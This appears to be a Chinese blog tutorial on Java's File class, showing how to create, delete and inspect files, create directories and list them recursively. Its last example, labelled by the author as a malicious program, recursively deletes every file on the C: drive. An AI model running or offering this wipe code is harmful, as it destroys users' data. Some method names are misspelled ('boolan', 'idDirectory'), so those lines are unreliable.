java:File关于文件类的常用操作

1.定义
File是java.io包中唯一一个与文件本身操作有关,与文件内容操作无关的类。
2.File类使用
File类是一个普通的文件类,使用时直接实例化对象即可。要实例化File类对象,有两个构造方法可供我们使用
public File(String path)
public File(String parent,String child):设置父路径和子路径
File类中有以下几个最为常用的方法:
创建新文件:

public boolean createNewFile() throws IOException

判断文件是否存在:

public boolan exists()

删除文件:

public boolean delete()

路径分隔符:

File.separator

看几个例子:
1,创建文件:

public class IO1 {
    public static void main(String[] args) {
		// 取得File对象
        //所要创建文件的地址,多次创建也只会创建一个文件
        File file  = new File("C:\\Users\\Administrator\\Desktop\\java.io");  
        try {
        	//会产生异常,try...catch即可
            file.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2,判断文件是否存在:

public class IO1 {
    public static void main(String[] args) {
        File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
        //此时文件存在,若删除文件名,C:\Users\Administrator\Desktop,输入该路径,
        // 输出仍为文件存在,File类即可指文件也可指路径
        if (file.exists()) {
            System.out.println("文件存在");
        }
    }
}

3, 删除文件:

public class IO1 {
    public static void main(String[] args) {
        File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
        if (file.exists()) {
            file.delete();
        }else{
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

3…路径分隔符
实际项目部署环境可能与开发环境不同。那么这个时候路径的问题就很麻烦了。windows下使用的是"",而Unix系统下使用的是"/"。所以在使用路径分隔符时都会采用File类的一个常量"public static final String separator "来描述。

public class IO1 {
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Administrator"+
        File.separator+ "Desktop"+File.separator+"java.io");  
        System.out.println(file); //系统会自动把分隔符去掉,改为正常文件路径表示
        if (file.exists()) {
            file.delete();
        }else{
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

4. 目录操作
4.1 取得父路径与父File对象

public String getParent()
public File getParentFile()

4.2 创建目录(无论有多少级父目录,都会一次性创建)

public boolean mkdirs()

看一个例子:

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Users"+File.separator
                    +"Administrator"+File.separator+"Desktop"+File.separator
                  	+"www"+File.separator+"bit"+File.separator+"java"+File.separator
                    +"javaIO"+File.separator);
        //取得父文件对象
        File parentFile = file.getParentFile();
        if(!parentFile.exists()){
            parentFile.mkdirs();
        }
        if(file.exists()){
            file.delete();
        }else{
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        //System.out.println(file.getParent());//获取父路径
    }
}

4.3 取得文件信息
判断File对象是否是文件

public boolean isFile()

判断File对象是否是路径

public boolean idDirectory()

取得文件大小,输出结果以字节为单位

public long length()

取得最后修改日期:返回值是long类型的

public long lastModified()

具体使用:

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Users"+File.separator
                +"Administrator"+File.separator+"Desktop"+File.separator
                +"托尼.jpg");  
        if(file.exists() && file.isFile()){
            System.out.println(file.length()/1024);  //输出文件大小
            System.out.println(file.lastModified());  //文件最后一次修改时间
        }
    }
}

列举一个目录的全部组成;
public File[ ] listFiles()
eg:

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Users"+File.separator
                +"Administrator" +File.separator+"Desktop"); 
        System.out.println("递归文件开始");
        long start = System.currentTimeMillis();
        listAllFiles(file);  //递归遍历文件
        long end = System.currentTimeMillis();
        System.out.println("遍历文件结束,共耗时"+(end - start));
        }
        public static void listAllFiles(File file){
            if (file.exists() && file.isFile()){
                System.out.println(file);
            }else{
                File[] files = file.listFiles();
                for(File file1 : files){  //遇到文件里面有文件,继续遍历
                    listAllFiles(file1);   
                }
            } 
        }     
    }

我们可以发现上述代码有个非常明显的问题。现在所有的代码都是在main线程下完成的,如果listAllFiles()方法没有完成,那么对于main后续的执行将无法完成。这种耗时的操作让主线程出现了阻塞,而导致后续代码无法正常执行完毕。如果不想让阻塞产生,最好再产生一个新的线程进行处理。

对以上代码进行修改:
IO相关处理属于阻塞式耗时操作,一般放在子线程中进行

public class IO1{
    public static void main(String[] args) {
        System.out.println("遍历文件开始");
        new Thread(() ->{
        File file = new File("C:"+File.separator+"Users"+File.separator
                +"Administrator" +File.separator+"Desktop");  //指定路径为C盘
        System.out.println("递归文件开始");
        long start = System.currentTimeMillis();
        listAllFiles(file);  //递归遍历文件
        long end = System.currentTimeMillis();
        System.out.println("遍历文件结束,共耗时"+(end - start));
        }).start();
        System.out.println("主线程继续执行");
    }
        public static void listAllFiles(File file){
            if (file.exists() && file.isFile()){
                System.out.println(file);
            }else{
                File[] files = file.listFiles();
                for(File file1 : files){  //遇到文件里面有文件,继续遍历
                    listAllFiles(file1);
                }
            }
        }
    }

以上代码只是个遍历文件的过程,我们对上述代码稍加修改:将遍历显示操作变成遍历删除操作这就成了一个恶意程序。

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:");
        long start = System.currentTimeMillis();
        listAllFiles(file);  //递归遍历文件
        long end = System.currentTimeMillis();
    }
        public static void listAllFiles(File file){
            if (file.exists() && file.isFile()){
               file.delete();  //遇到文件就删
            }else{
                File[] files = file.listFiles();
                for(File file1 : files){  //遇到文件里面有文件,继续遍历,删除文件
                    listAllFiles(file1);
                }
            }
        }
    }

以上代码谨慎使用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章